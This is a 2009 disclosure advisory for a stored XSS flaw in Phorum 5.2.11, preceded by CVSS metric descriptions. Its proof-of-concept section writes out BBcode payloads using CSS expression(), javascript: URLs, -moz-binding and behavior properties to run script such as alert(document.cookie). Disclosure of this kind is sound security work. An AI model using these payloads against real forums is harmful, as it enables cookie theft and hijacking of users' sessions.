The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
//----- Advisory
Program : Phorum 5.2.11
Homepage : http://www.phorum.org/
Discovery : 2009/07/16
Author Contacted : 2009/07/17
Found by : crashfr at sysdream dot com
This Advisory : crashfr at sysdream dot com
//----- Application description
Started in 1998, Phorum was the original PHP and MySQL based Open Source forum software. Phorum's developers pride themselves on creating message board software that is designed to meet different needs of different web sites while not sacrificing performance or features.
//----- Description of vulnerability
Phorum's filtering engine insufficiently filters some BBcode arguments.
Using the bbcode tags [color] and [size] it is possible to execute Javascript using expression CSS property.
//----- Proof Of Concept
When the user post the following bbcode :
[color=#000000;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/color]
or
[size=20px;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/size]
The application convert it into the follow HTML code :
<span style="color:#000000;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>
and
<span style="font-size: 20px;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>
For IE6 you can use this POC:
[color=#000000;background-image:url(javascript:alert('Sysdream_IE6_Alert'));]Sysdream
Testing IE6[/color]
For IE7:
[color=#000000;xss:expression(alert('Sysdream_IE7_Alert'));]Sysdream Testing
XSS[/color]
Obviously, the POC doesn't work in IE8 and Firefox.
But, but , but...
Uploading htc (for IE8) or xml (for FF) file on the phorum using the "My
Files" function in "Control Center", you can use :
POC for FF:
[color=#000000;-moz-binding:url(http://127.0.0.1/phorum/file.php?0,file=9,filename=script.xml#mycode);]Sysdream
Testing FF[/color]
POC for IE8:
[color=#000000;behavior:url(http://127.0.0.1/phorum/file.php?0,file=8,filename=script.htc);]Sysdream
Testing FF[/color]
//----- Impact
This vulnerability can be used to modify the phorum display, to gather the victim's cookie, etc.
//----- Solution
Upgrade Phorum to 5.2.12
//----- Credits
http://www.sysdream.com
http://www.hackerzvoice.net
crashfr at sysdream dot com
//----- Greetings
Virtualabs
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